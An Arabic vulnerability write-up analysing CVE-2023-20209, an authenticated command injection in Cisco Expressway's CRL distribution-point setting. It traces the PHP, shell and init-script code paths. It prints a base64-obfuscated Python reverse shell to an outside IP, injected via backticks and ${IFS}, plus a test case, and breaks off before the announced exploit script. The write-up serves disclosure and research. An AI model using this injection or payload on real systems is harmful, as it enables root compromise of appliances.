
تحليل تقني مفصل وإثبات مفهوم لاستغلال CVE-2023-20209، وهي ثغرة في تنفيذ الأوامر عن بُعد بعد المصادقة في Cisco Expressway، مع شرح خطوة بخطوة لتدفق الكود وملاحظات الاستغلال.
بدأت بالبحث في Cisco Expressway بعد أن لاحظت وجود عدد لا بأس به منها على الإنترنت أثناء عمليات Red Team، لكن لم يتسنَ لي الوقت أثناء العمل لاستكشاف المنتج أكثر.
في البداية كنت أبحث عن ثغرة تجاوز المصادقة (auth bypass) للوصول إلى تنفيذ أوامر (RCE) لكن الوقت لم يسعني واكتفيت بثغرة RCE بعد المصادقة. تبدو كود PHP في الواجهة الأمامية واعدًا لمزيد من الاستغلال....
هذه ملاحظاتي من الاكتشاف وإشعار البائع بثغرة CVE-2023-20209.
بدءًا بقائمة العمليات بعد الاستغلال نرى استدعاءً لـ /sbin/request-crlupdate:
root 16449 0.0 0.0 7472 4024 ? S Feb18 0:00 bash /sbin/request-crlupdate
root 16451 0.0 0.1 7544 4280 ? S Feb18 0:00 /bin/bash /etc/init.d/crlupdater restart
root 16466 0.0 0.2 14084 11236 ? S Feb18 0:00 python -c exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))
إذا نظرنا إلى محتويات /sbin/request-crlupdate:
#! /bin/env bash
#
# This script is responsible to updating the CRL automatic updater process
# when configuration is changed
#
# =============================================================================
# Needs to be kept in sync with PHP and updater script
readonly STARTFILE="/tmp/request/update_crl_config"
readonly LOCK_FILE="/tmp/crlupdater_running"
# =============================================================================
# Source for helper functions
readonly FUNCTIONS="/etc/functions"
[[ -f ${FUNCTIONS} ]] && . ${FUNCTIONS}
# =============================================================================
if [[ -f ${STARTFILE} ]]; then
# Remove the flag file
rm -f ${STARTFILE}
if [[ -f ${LOCK_FILE} ]]; then
do_log "Event=\"Updating CRL data\" Detail=\"CRL update already in progress. Scheduling another update\""
touch ${STARTFILE}
# To avoid the possibility of tight loop situation until the lock file is removed,
# let's sleep for a few seconds
sleep 30
else
# Kick the CRL automatic update daemon
/etc/init.d/crlupdater restart
fi
fi
# =============================================================================
نرى أنه يستدعي برنامج تحديث CRL التلقائي، لكن هذا لا يشرح كيف وصلنا إلى هناك. حاولت توضيح تدفق الكود أدناه.
بدءًا من كود PHP للواجهة الأمامية للويب، في ملف /share/web/public/crpupdater.php، يوجد فحص تحقق للتأكد من أنه يبدأ بـ http أو https:
$crl_distribution_points_root_new = new SimpleXMLElement("<root/>");
foreach ( $url_list as $line )
{
if ( strlen( $line ) > 0 )
{
if ( preg_match( '/^(http|https):\/\/.+/i', $line ) > 0 )
{
// Ensure no spaces in the URI
$line = str_replace( " ", "%20", $line );
$crl_distribution_points_root_new->record[ $idx++ ]->distribution_point = $line;
$distribution_point_count++;
}
else
{
$unsupported_distribution_point_seen = true;
}
}
}
ثم يتم تمرير هذا إلى ما أعتقد أنه إطار Python خلف خدمة الويب، كل Python هو ملفات pyc لذا أفقد بعض أجزاء التدفق هنا لكن ما يلي يعطي تلميحًا.
يبدو أن Python يتسبب في استدعاء /sbin/request-crlupdate
/share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyc
Class to manage requestd with regards CRL updates
c C s t j j j j j | | ƒ d S( N( RO RV RW RX RY R ( R
RL ( ( sp /share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyR ? s c C s- t j d ƒ t j j j j j | d ƒ d S( s\
Creates the trigger file for requestd to restart the CRL update daemon
محتويات /etc/init.d/crlupdater:
#!/bin/bash
#set -x
#
# Set up automatic CRL updates, if configured
#
readonly SERVICE="crl_updater"
readonly PID_FILE="/var/run/${SERVICE}.pid"
[[ -f /etc/functions ]] && . /etc/functions
start()
{
# #86345
#
# Ensure that the policy services CRL file has the correct
# owner so that the web can update them
chown _nobody:_nobody /tandberg/persistent/certs/policy-services.crl
if upgrade_in_progress; then
# Upgrading so let's not go any further
echo "Upgrade in process. Not starting ${SERVICE}"
exit 0
fi
if is_service_up ${SERVICE}; then
# Service already running so let's not go any further
echo "${SERVICE} already running. Not starting"
exit 0
fi
echo "Starting ${SERVICE}"
local readonly script="/bin/crl_updater"
# Need to be kept in sync with PHP and script
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
# Ensure we have the correct directories
local readonly certificates_base="/mnt/harddisk/certificates"
local readonly crl_directory="${certificates_base}/crl"
if [[ ! -d ${crl_directory} ]]; then
mkdir -p ${crl_directory}
fi
if [[ -s ${config_file} ]]; then
. "${config_file}"
if [[ ${auto_updates} == "true" ]]; then
# Check every 600 seconds to see if it is the configured hour
# and then run the script. If the script is run it will wait
# 24 hours before running the script again
/bin/time_kicker 600 ${update_hour} ${script} > /dev/null 2>&1 &
echo $! > ${PID_FILE}
else
# We run the script anyway so that it can perform any clean-up
# required as a result of being disabled
${script} > /dev/null 2>&1 &
fi
fi
}
stop()
{
if is_service_up ${SERVICE}; then
echo "Stopping ${SERVICE}"
kill_pid_file ${SERVICE} ${PID_FILE}
rm -f ${PID_FILE}
fi
}
restart()
{
stop
start
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo $"Usage: $0 {start|stop|restart}"
exit 1
;;
esac
بعض السطور المهمة هنا:
local readonly script="/bin/crl_updater"
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
إليك محتويات /tandberg/persistent/certs/crl-update.conf بعد الاستغلال:
auto_updates=true
update_hour=11
distribution_point=http://`python${IFS}-c${IFS}"exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"`
نرى بيانات crl الضارة أعلاه في الملف.
في أي من حالات جملة IF في /etc/init.d/crpupdater يتم استدعاء تنفيذ /bin/crl_updater.
عند هذه النقطة يتم تنفيذ الكود الضار في تدفق /bin/crl_updater:
read_configuration()
{
# Source the configuration file
# Needs to be kept in sync with PHP and init script
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
local readonly config_separator="="
local readonly distribution_point_prefix="distribution_point"
if [[ -s ${config_file} ]]; then
. "${config_file}"
readonly CRL_UPDATE_MODE="${auto_updates}"
readonly CRL_DISTRIBUTION_POINTS=`cat ${config_file} | while read line; do echo ${line} | grep "${distribution_point_prefix}" | tr "${config_separator}" "\n" | grep -v "${distribution_point_prefix}" ; done`
if [[ ${CRL_UPDATE_MODE} == "true" ]]; then
# Ensure that we have some distribution points configured
if [[ -z "${CRL_DISTRIBUTION_POINTS}" ]]; then
updater_event_logger "ERROR: No CRL distribution points configured"
alarm raise $CONFIG_ALARM
exit_handler 1
fi
fi
else
updater_event_logger "ERROR: CRL updater failed to find configuration file or file is empty"
alarm raise $NO_CONFIG_ALARM
exit_handler 1
fi
}
ثم يتم تنفيذ ملف الإعدادات الذي يحتوي على أمرنا الضار عبر:
if [[ -s ${config_file} ]]; then
. "${config_file}"
بما أن حقنتنا تحتوي على backticks فسيتم تنفيذها، لقد قدمت ملف حالة اختبار لإظهار السلوك:
auto_updates=true
update_hour=11
distribution_point=http://`touch /tmp/test_file`
تشغيل ملف حالة الاختبار يدويًا بنفس الطريقة التي يقوم بها script /bin/crl_updater:
~ # ls -al /tmp/ | grep test_file
~ # . /tmp/test_exec_point
~ # ls -al /tmp/ | grep test_file
-rw-r--r-- 1 root root 0 Feb 20 01:16 test_file
لقد كتبت سكربت استغلال سريع وقذر لـ PoC، يمكنك رؤيته في العمل أدناه
